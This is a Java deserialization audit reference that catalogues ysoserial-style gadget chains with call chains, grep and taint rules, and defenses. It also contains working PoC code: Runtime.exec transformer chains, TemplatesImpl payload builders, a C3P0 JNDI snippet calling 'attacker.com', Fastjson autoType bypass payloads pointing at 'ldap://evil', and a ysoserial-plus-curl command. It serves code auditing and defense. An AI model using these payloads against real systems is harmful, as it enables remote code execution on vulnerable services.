# Java Deserialization Gadget Chains - Complete Audit Rules

> Complete Gadget chain analysis based on ysoserial/JYso
> Applicable to: Identifying and exploiting deserialization vulnerabilities in code audits

---

## Overview

This module provides detailed analysis of 107+ Java deserialization gadget chains, including:
- **Call chains**: Complete class invocation sequences
- **Exploitation conditions**: Dependency versions, JDK restrictions
- **Code signatures**: Code patterns to look for during audits
- **Detection rules**: Grep regex and taint analysis rules
- **PoC examples**: Practical exploitation code

---

## Table of Contents

1. [Commons Collections Series (17)](#commons-collections-series)
2. [Commons Beanutils Series (8)](#commons-beanutils-series)
3. [Spring Series (7)](#spring-series)
4. [C3P0 Series (10)](#c3p0-series)
5. [ROME Series (4)](#rome-series)
6. [Fastjson Series (2)](#fastjson-series)
7. [Jackson Series (5)](#jackson-series)
8. [JDK Native Series (5)](#jdk-native-series)
9. [Other Important Gadgets (49)](#other-important-gadgets)

---

## Commons Collections Series

### Core Principles

Commons Collections exploitation chains are based on the following core mechanisms:
1. **Transformer interface**: Can execute arbitrary method calls
2. **ChainedTransformer**: Chains multiple Transformer calls
3. **InvokerTransformer**: Invokes methods via reflection
4. **LazyMap**: Triggers Transformer during lazy initialization

### CC1 - Classic Chain

**Dependency**: commons-collections:3.1-3.2.1
**JDK Restriction**: < 8u71 (AnnotationInvocationHandler.readObject patched)

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> AnnotationInvocationHandler.readObject()
  │     ├─> Map(Proxy).entrySet()
  │     └─> AnnotationInvocationHandler.invoke()
  │           └─> LazyMap.get()
  │                 └─> ChainedTransformer.transform()
  │                       ├─> ConstantTransformer.transform() → Runtime.class
  │                       ├─> InvokerTransformer.transform() → getMethod("getRuntime")
  │                       ├─> InvokerTransformer.transform() → invoke(null) → Runtime.getRuntime()
  │                       └─> InvokerTransformer.transform() → exec("cmd")
```

**Key classes and methods**:
```java
// Entry point
sun.reflect.annotation.AnnotationInvocationHandler.readObject()

// Trigger point
org.apache.commons.collections.map.LazyMap.get()

// Execution point
org.apache.commons.collections.functors.InvokerTransformer.transform()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.ConstantTransformer.transform()
```

**Code audit rules**:
```regex
# Detect Transformer chain construction
ChainedTransformer\s*\(
InvokerTransformer\s*\(.*"exec"
LazyMap\.decorate\(

# Detect dangerous Map operations
Map.*entrySet\(\).*Transformer
AnnotationInvocationHandler.*newInstance

# Detect deserialization entry points
ObjectInputStream.*readObject
```

**PoC code**:
```java
// Construct Transformer chain
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

// Wrap with AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
```

---

### CC2 - PriorityQueue Chain

**Dependency**: commons-collections4:4.0
**JDK Restriction**: Works on 8u301/11/15, fails on 16

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> PriorityQueue.readObject()
  │     ├─> PriorityQueue.heapify()
  │     └─> PriorityQueue.siftDown()
  │           └─> TransformingComparator.compare()
  │                 └─> InvokerTransformer.transform()
  │                       └─> TemplatesImpl.newTransformer()
  │                             ├─> TemplatesImpl.getTransletInstance()
  │                             ├─> TemplatesImpl.defineTransletClasses()
  │                             └─> Malicious Class.<init>() → Runtime.exec()
```

**Key classes and methods**:
```java
// Entry point
java.util.PriorityQueue.readObject()

// Trigger point
org.apache.commons.collections4.comparators.TransformingComparator.compare()

// Execution point
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance()
```

**Code audit rules**:
```regex
# Detect TemplatesImpl usage
TemplatesImpl\s*\(\)
_bytecodes\s*=
newTransformer\(\)

# Detect dangerous PriorityQueue usage
PriorityQueue.*TransformingComparator
PriorityQueue.*readObject

# Detect bytecode loading
defineTransletClasses\(\)
AbstractTranslet
```

**PoC code**:
```java
// Create malicious TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{maliciousClassBytes});
setFieldValue(templates, "_name", "Exploit");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// Construct PriorityQueue
TransformingComparator comparator = new TransformingComparator(
    new InvokerTransformer("newTransformer", null, null));
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(templates);

// Serialize
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
```

---

### CC6 - TiedMapEntry Chain (Most Universal)

**Dependency**: commons-collections:3.1-3.2.1
**JDK Restriction**: Works on 8u301/11/15/16 (broadest compatibility)

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> HashSet.readObject()
  │     ├─> HashMap.put()
  │     └─> HashMap.hash()
  │           └─> TiedMapEntry.hashCode()
  │                 └─> TiedMapEntry.getValue()
  │                       └─> LazyMap.get()
  │                             └─> ChainedTransformer.transform()
  │                                   └─> [Execution chain same as CC1]
```

**Key classes and methods**:
```java
// Entry point
java.util.HashSet.readObject()
java.util.HashMap.readObject()

// Trigger point
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

// Execution point
org.apache.commons.collections.map.LazyMap.get()
```

**Code audit rules**:
```regex
# Detect TiedMapEntry usage
TiedMapEntry\s*\(
TiedMapEntry.*LazyMap

# Detect dangerous HashMap/HashSet usage
HashMap\.put.*TiedMapEntry
HashSet\.add.*Map

# General Transformer detection
ChainedTransformer
InvokerTransformer.*exec
```

**Exploitation advantages**:
- ✅ Does not depend on AnnotationInvocationHandler
- ✅ Best compatibility, works on most JDK versions
- ✅ Widely used in real-world attacks

---

### CC3 - ConstantTransformer + TemplatesImpl

**Dependency**: commons-collections:3.1-3.2.1
**JDK Restriction**: < 8u71

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> AnnotationInvocationHandler.readObject()
  │     └─> [Triggers LazyMap]
  │           └─> ChainedTransformer.transform()
  │                 ├─> ConstantTransformer.transform() → TemplatesImpl
  │                 └─> InvokerTransformer.transform("newTransformer")
  │                       └─> TemplatesImpl.newTransformer()
  │                             └─> [Malicious bytecode execution]
```

**Characteristics**:
- Combines CC1's trigger mechanism with CC2's TemplatesImpl execution
- Does not require direct Runtime.exec() call
- Can load arbitrary bytecode

---

### CC4 - PriorityQueue + TemplatesImpl (CC4 variant)

**Dependency**: commons-collections4:4.0
**Call chain**: Similar to CC2, but uses CC4 version classes

---

### CC5 - BadAttributeValueExpException

**Dependency**: commons-collections:3.1-3.2.1
**JDK Restriction**: SecurityManager disabled (default)

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> BadAttributeValueExpException.readObject()
  │     └─> TiedMapEntry.toString()
  │           └─> TiedMapEntry.getValue()
  │                 └─> LazyMap.get()
  │                       └─> ChainedTransformer.transform()
```

**Key points**:
- Triggered via `toString()` method
- Does not require HashMap or PriorityQueue

---

### CC7 - Hashtable Trigger

**Dependency**: commons-collections:3.1-3.2.1
**JDK Restriction**: Works on 8u301/11/15/16

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> Hashtable.readObject()
  │     └─> Hashtable.reconstitutionPut()
  │           └─> AbstractMapDecorator.equals()
  │                 └─> AbstractMap.equals()
  │                       └─> LazyMap.get()
  │                             └─> ChainedTransformer.transform()
```

---

### Other CC Variants

| Gadget | Core Feature | Applicable Scenario |
|--------|-------------|---------------------|
| CC8 | TreeBag trigger | Specific scenario bypass |
| CC9 | DefaultedMap trigger | CC4 variant |
| CC10 | InstantiateTransformer trigger | No Runtime.exec needed |
| CC11 | Combines multiple Transformers | Complex exploitation chain |
| CC12 | PredicateTransformer | Conditional execution |
| CC13 | SwitchTransformer | Multi-branch execution |

---

## Commons Beanutils Series

### CB1 - BeanComparator

**Dependency**: commons-beanutils:1.8.3-1.9.4
**JDK Restriction**: None (high universality)

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> PriorityQueue.readObject()
  │     └─> PriorityQueue.heapify()
  │           └─> BeanComparator.compare()
  │                 ├─> PropertyUtils.getProperty()
  │                 └─> TemplatesImpl.getOutputProperties()
  │                       └─> TemplatesImpl.newTransformer()
  │                             └─> [Malicious bytecode execution]
```

**Key classes and methods**:
```java
// Entry point
java.util.PriorityQueue.readObject()

// Trigger point
org.apache.commons.beanutils.BeanComparator.compare()
org.apache.commons.beanutils.PropertyUtils.getProperty()

// Execution point
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
```

**Code audit rules**:
```regex
# Detect BeanComparator usage
BeanComparator\s*\(
PropertyUtils\.getProperty

# Detect PriorityQueue + BeanComparator
PriorityQueue.*BeanComparator
BeanComparator.*TemplatesImpl

# Detect dangerous getter calls
getOutputProperties\(\)
TemplatesImpl.*property
```

**PoC code**:
```java
// Create TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{maliciousClassBytes});
setFieldValue(templates, "_name", "Exploit");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// Use BeanComparator
BeanComparator comparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
```

**Exploitation advantages**:
- ✅ No JDK version restriction
- ✅ commons-beanutils is widely used
- ✅ Can bypass some WAF/RASP protections

---

### CB2 - PropertyUtils Chain

**Dependency**: commons-beanutils:1.8.3-1.9.2
**Full call chain**: Triggers getter method via PropertyUtils property access

---

## Spring Series

### Spring1 - TypeProvider Chain

**Dependency**: spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
**JDK Restriction**: AnnotationInvocationHandler available (< 8u71)

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
  │     ├─> SerializableTypeWrapper.TypeProvider(Proxy).getType()
  │     └─> AnnotationInvocationHandler.invoke()
  │           └─> HashMap.get("getType")
  │                 ├─> ReflectionUtils.findMethod()
  │                 ├─> SerializableTypeWrapper.TypeProvider(Proxy).getType()
  │                 └─> ReflectionUtils.invokeMethod()
  │                       └─> Templates(Proxy).newTransformer()
  │                             └─> AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
  │                                   └─> ObjectFactory(Proxy).getObject()
  │                                         └─> AnnotationInvocationHandler.invoke()
  │                                               └─> TemplatesImpl.newTransformer()
  │                                                     └─> [Malicious bytecode execution]
```

**Key classes and methods**:
```java
// Entry point
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()

// Trigger point
org.springframework.core.SerializableTypeWrapper$TypeProvider.getType()
org.springframework.util.ReflectionUtils.invokeMethod()

// Execution point
org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
```

**Code audit rules**:
```regex
# Detect Spring reflection utility usage
ReflectionUtils\.invokeMethod
SerializableTypeWrapper
TypeProvider

# Detect Spring ObjectFactory
ObjectFactory.*getObject
AutowireUtils.*invoke

# Detect Spring dynamic proxy
MethodInvokeTypeProvider
ObjectFactoryDelegatingInvocationHandler
```

---

### Spring2 - JdkDynamicAopProxy

**Dependency**: spring-aop, spring-core
**Call chain**: Triggers method invocation via AOP proxy

---

### Spring3 - AspectInstanceFactory

**Dependency**: spring-aop
**Call chain**: Triggered via AspectJ factory

---

## C3P0 Series

### C3P0 - JNDI Injection

**Dependency**: c3p0:0.9.5.2
**Attack type**: JNDI Injection

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> PoolBackedDataSourceBase.readObject()
  │     └─> ReferenceIndirector$ReferenceSerialized.getObject()
  │           └─> ReferenceableUtils.referenceToObject()
  │                 └─> InitialContext.lookup()
  │                       └─> [JNDI Injection RCE]
```

**Key classes and methods**:
```java
// Entry point
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject()

// Trigger point
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized.getObject()

// Execution point
javax.naming.InitialContext.lookup()
javax.naming.spi.NamingManager.getObjectInstance()
```

**Code audit rules**:
```regex
# Detect C3P0 usage
c3p0.*DataSource
PoolBackedDataSource
C3P0ProxyConnection

# Detect JNDI injection points
connectionPoolDataSource\s*=
InitialContext.*lookup
Reference.*getObject

# Detect Reference construction
Reference\s*\(.*className.*codebase
Referenceable.*getReference
```

**PoC code**:
```java
// Method 1: Direct JNDI injection
PoolBackedDataSource poolBackedDataSource = new PoolBackedDataSource();
setFieldValue(poolBackedDataSource, "connectionPoolDataSource",
    new PoolSource("Evil", "http://attacker.com:8080/"));

// Method 2: Local class loading
// Use hex-serialized malicious class
```

**Exploitation scenarios**:
- ✅ Shiro deserialization + C3P0
- ✅ Fastjson + C3P0 JNDI
- ✅ Bypass certain blacklists

---

### Other C3P0 Variants

| Gadget | Feature | Purpose |
|--------|---------|---------|
| C3P02 | WrapperConnectionPoolDataSource | Alternative trigger point |
| C3P03 | Hex-serialized bytecode | Bypass JNDI restrictions |
| C3P0JDBC | JDBC connection string exploitation | Secondary deserialization |
| C3P0RefDataSource | RefDataSource trigger | JNDI injection variant |

---

## ROME Series

### ROME1 - ToStringBean Chain

**Dependency**: rome:1.0
**JDK Restriction**: None

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> HashMap.readObject()
  │     └─> HashMap.hash()
  │           └─> EqualsBean.hashCode()
  │                 └─> EqualsBean.beanHashCode()
  │                       └─> ToStringBean.toString()
  │                             ├─> [Reflective invocation of all getters]
  │                             └─> TemplatesImpl.getOutputProperties()
  │                                   └─> [Malicious bytecode execution]
```

**Key classes and methods**:
```java
// Entry point
java.util.HashMap.readObject()

// Trigger point
com.sun.syndication.feed.impl.EqualsBean.hashCode()
com.sun.syndication.feed.impl.ToStringBean.toString()

// Execution point
TemplatesImpl.getOutputProperties()
```

**Code audit rules**:
```regex
# Detect ROME usage
com\.sun\.syndication
rome\.feed

# Detect ToStringBean usage
ToStringBean\s*\(
EqualsBean\s*\(
ObjectBean\s*\(

# Detect toString trigger chain
\.toString\(\).*TemplatesImpl
HashMap.*EqualsBean
```

---

## Fastjson Series

### Fastjson1 - TemplatesImpl Chain

**Dependency**: fastjson < 1.2.83
**Trigger condition**: `JSON.parseObject()` + `@type`

**Full call chain**:
```
JSON.parseObject()
  ├─> ParserConfig.checkAutoType()  [Bypass blacklist]
  │     └─> TypeUtils.loadClass()
  │           └─> [Load TemplatesImpl]
  ├─> JavaBeanDeserializer.deserialize()
  │     └─> [Invoke all setters]
  │           ├─> set_bytecodes()
  │           ├─> set_name()
  │           └─> set_tfactory()
  └─> JSONArray.toString()
        └─> TemplatesImpl.getOutputProperties()
              └─> [Malicious bytecode execution]
```

**Key methods**:
```java
// Trigger point
com.alibaba.fastjson.JSON.parseObject()
com.alibaba.fastjson.JSON.parse()

// Check point
com.alibaba.fastjson.parser.ParserConfig.checkAutoType()

// Execution point
com.alibaba.fastjson.serializer.ObjectArrayCodec.write()
```

**Code audit rules**:
```regex
# Detect Fastjson usage
JSON\.parse\(
JSON\.parseObject\(
@type

# Detect dangerous configuration
autoTypeSupport\s*=\s*true
Feature\.SupportAutoType

# Detect common exploitation classes
JdbcRowSetImpl
TemplatesImpl
JndiDataSourceFactory
```

**Common bypass techniques**:
```java
// 1.2.25-1.2.41: L bypass
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://evil","autoCommit":true}

// 1.2.42: LL bypass
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://evil","autoCommit":true}

// 1.2.43: [ bypass
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://evil","autoCommit":true}

// 1.2.47: Cache bypass
{"rand1":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"rand2":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil","autoCommit":true}}
```

---

## JDK Native Series

### Jdk7u21 - AnnotationInvocationHandler

**Dependency**: None (JDK native)
**JDK Restriction**: <= 7u21

**Full call chain**:
```
ObjectInputStream.readObject()
  ├─> LinkedHashSet.readObject()
  │     └─> HashMap.put()
  │           └─> TemplatesImpl.hashCode()
  │                 └─> Proxy$0.hashCode()
  │                       └─> AnnotationInvocationHandler.invoke()
  │                             └─> LinkedHashMap.get()
  │                                   └─> TemplatesImpl.getOutputProperties()
  │                                         └─> [Malicious bytecode execution]
```

**Key points**:
- No third-party dependencies required
- Strict JDK version restriction
- Historically significant

---

### JRE8u20 - BeanContextSupport

**Dependency**: None (JDK native)
**JDK Restriction**: 7u25 <= JDK <= 8u20

---

## Taint Analysis Rules

### Source (Deserialization Entry Points)

```yaml
deserialization_sources:
  # Java native deserialization
  - pattern: "ObjectInputStream\\.readObject\\(\\)"
    class: "java.io.ObjectInputStream"
    method: "readObject"
    risk: "Critical"

  - pattern: "ObjectInputStream\\.readUnshared\\(\\)"
    class: "java.io.ObjectInputStream"
    method: "readUnshared"
    risk: "Critical"

  # XMLDecoder
  - pattern: "XMLDecoder\\.readObject\\(\\)"
    class: "java.beans.XMLDecoder"
    method: "readObject"
    risk: "Critical"

  # Fastjson
  - pattern: "JSON\\.parse(Object)?\\("
    class: "com.alibaba.fastjson.JSON"
    method: "parse|parseObject"
    risk: "High"

  # XStream
  - pattern: "XStream\\.fromXML\\("
    class: "com.thoughtworks.xstream.XStream"
    method: "fromXML"
    risk: "High"

  # Jackson
  - pattern: "ObjectMapper\\.readValue\\("
    class: "com.fasterxml.jackson.databind.ObjectMapper"
    method: "readValue"
    risk: "Medium"  # Requires enableDefaultTyping

  # SnakeYAML
  - pattern: "Yaml\\.load\\("
    class: "org.yaml.snakeyaml.Yaml"
    method: "load"
    risk: "High"
```

### Sink (Execution Points)

```yaml
deserialization_sinks:
  # Command execution
  - class: "java.lang.Runtime"
    method: "exec"
    type: "RCE"

  - class: "java.lang.ProcessBuilder"
    method: "start"
    type: "RCE"

  # Reflection execution
  - class: "java.lang.reflect.Method"
    method: "invoke"
    type: "Reflection"

  # Class loading
  - class: "java.lang.ClassLoader"
    method: "defineClass"
    type: "ClassLoading"

  - class: "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    method: "newTransformer|getOutputProperties"
    type: "BytecodeExecution"

  # JNDI injection
  - class: "javax.naming.InitialContext"
    method: "lookup"
    type: "JNDI"

  # Script execution
  - class: "javax.script.ScriptEngine"
    method: "eval"
    type: "ScriptExecution"
```

### Gadget Chain Detection

```yaml
gadget_patterns:
  # Commons Collections
  - name: "CC_InvokerTransformer"
    pattern: "org\\.apache\\.commons\\.collections.*InvokerTransformer"
    severity: "Critical"
    gadget_chains: ["CC1", "CC3", "CC5", "CC6"]

  - name: "CC_ChainedTransformer"
    pattern: "org\\.apache\\.commons\\.collections.*ChainedTransformer"
    severity: "Critical"
    gadget_chains: ["CC1", "CC2", "CC3"]

  - name: "CC_LazyMap"
    pattern: "org\\.apache\\.commons\\.collections.*LazyMap"
    severity: "High"
    gadget_chains: ["CC1", "CC3", "CC5", "CC6", "CC7"]

  # Commons Beanutils
  - name: "CB_BeanComparator"
    pattern: "org\\.apache\\.commons\\.beanutils\\.BeanComparator"
    severity: "Critical"
    gadget_chains: ["CB1", "CB2"]

  # Spring
  - name: "Spring_SerializableTypeWrapper"
    pattern: "org\\.springframework\\.core\\.SerializableTypeWrapper"
    severity: "High"
    gadget_chains: ["Spring1"]

  # C3P0
  - name: "C3P0_PoolBackedDataSource"
    pattern: "com\\.mchange\\.v2\\.c3p0.*PoolBackedDataSource"
    severity: "Critical"
    gadget_chains: ["C3P0"]

  # ROME
  - name: "ROME_ToStringBean"
    pattern: "com\\.sun\\.syndication.*ToStringBean"
    severity: "High"
    gadget_chains: ["ROME1"]
```

---

## Practical Code Audit Detection

### Step 1: Identify Deserialization Entry Points

```bash
# Grep for deserialization functions
grep -rn "ObjectInputStream.*readObject" --include="*.java"
grep -rn "JSON\.parse" --include="*.java"
grep -rn "XStream.*fromXML" --include="*.java"
grep -rn "Yaml\.load" --include="*.java"

# Check if input is validated
grep -B5 -A5 "readObject\(\)" | grep -E "validate|check|whitelist"
```

### Step 2: Detect Dangerous Dependencies

```bash
# Check pom.xml / build.gradle
grep -rn "commons-collections" pom.xml build.gradle
grep -rn "commons-beanutils" pom.xml build.gradle
grep -rn "fastjson.*1\\.2\\.[0-7]" pom.xml build.gradle
grep -rn "xstream.*1\\.4\\.1[0-7]" pom.xml build.gradle

# Check actually used classes
find . -name "*.jar" -exec jar tf {} \; | grep -E "InvokerTransformer|BeanComparator|TemplatesImpl"
```

### Step 3: Trace Data Flow

```java
// Example: Trace the data source of ObjectInputStream
public void handleRequest(HttpServletRequest request) {
    // Source: HTTP request
    InputStream input = request.getInputStream();

    // Potential Sink: Deserialization
    ObjectInputStream ois = new ObjectInputStream(input);  // ❌ Dangerous!
    Object obj = ois.readObject();
}
```

### Step 4: Verify Gadget Chain Availability

```java
// Check if classes required by the exploitation chain exist
// CC1 requires: InvokerTransformer, ChainedTransformer, LazyMap
// CB1 requires: BeanComparator, TemplatesImpl
// Spring1 requires: SerializableTypeWrapper, AutowireUtils

// Example detection script
public boolean isGadgetAvailable(String gadgetName) {
    try {
        switch(gadgetName) {
            case "CC1":
                Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
                Class.forName("org.apache.commons.collections.map.LazyMap");
                return true;
            case "CB1":
                Class.forName("org.apache.commons.beanutils.BeanComparator");
                return true;
            // ... more detections
        }
    } catch (ClassNotFoundException e) {
        return false;
    }
    return false;
}
```

---

## Complete Gadget Index

### By Dependency

#### commons-collections (17)
- CC1, CC2, CC3, CC4, CC5, CC6, CC7, CC8, CC9, CC10, CC11, CC12, CC13
- CCK1, CCK2, CCK3, CCK4

#### commons-beanutils (8)
- CB1, CB2, CB3
- CommonsBeanutilsAttrCompare
- CommonsBeanutilsObjectToStringComparator
- CommonsBeanutilsPropertySource
- CommonsBeanutilsJDBC, CommonsBeanutilsJNDI

#### spring (7)
- Spring1, Spring2, Spring3
- SpringAbstractBeanFactoryPointcutAdvisor
- SpringPartiallyComparableAdvisorHolder
- SpringPropertyPathFactory
- SpringUtil

#### c3p0 (10)
- C3P0, C3P02, C3P03, C3P04, C3P092
- C3P0JDBC, C3P0JNDI, C3P0JNDI2
- C3P0RefDataSource, C3P0WrapperConnPool

#### rome (4)
- ROME, ROME2, ROME3, ROMEJDBC

#### fastjson (2)
- Fastjson1, Fastjson2

#### jackson (5)
- Jackson1, Jackson2, Jackson3, Jackson4
- JacksonLdapAttr

### By Attack Type

#### RCE (Command Execution)
- CC1-CC13 (via Runtime.exec or TemplatesImpl)
- CB1-CB3 (via TemplatesImpl)
- Spring1-Spring3
- Groovy1-Groovy2
- ROME series

#### JNDI Injection
- C3P0 series
- Fastjson (JdbcRowSetImpl)
- Jackson (JdbcRowSetImpl)
- CommonsBeanutilsJNDI

#### JDBC Attack
- C3P0JDBC
- ROMEJDBC
- CommonsBeanutilsJDBC

#### Probing
- URLDNS (DNS probe)

---

## Defense Recommendations

### 1. Dependency Management

```xml
<!-- Upgrade to secure versions -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>  <!-- Or remove -->
</dependency>

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>  <!-- Latest version -->
</dependency>
```

### 2. Deserialization Filtering

```java
// Use ObjectInputFilter on JDK 9+
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "!org.apache.commons.collections.**;" +
    "!com.sun.rowset.**;" +
    "maxdepth=5;maxarray=100"
);

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
```

### 3. Disable Dangerous Features

```java
// Fastjson: Enable safeMode
ParserConfig.getGlobalInstance().setSafeMode(true);

// Jackson: Do not use enableDefaultTyping
// ObjectMapper mapper = new ObjectMapper();
// mapper.enableDefaultTyping(); // ❌ Dangerous!

// XStream: Set up whitelist
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.allowTypes(new Class[] { SafeClass.class });
```

---

## Reference Resources

- [ysoserial](https://github.com/frohoff/ysoserial) - Java deserialization exploitation tool
- [JYso](https://github.com/qi4L/JYso) - Enhanced ysoserial
- [marshalsec](https://github.com/mbechler/marshalsec) - Multi-protocol deserialization
- [Java Deserialization Cheat Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)

---

## Minimal PoC Examples
```bash
# CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 "calc" | base64 > payload.b64
curl -X POST http://localhost:8080/api -d @payload.b64

# CB/ROME and other gadgets, see ysoserial/JYso
```

---

**Last updated**: 2024-12-26
**Version**: 1.0
**Gadget count**: 107+
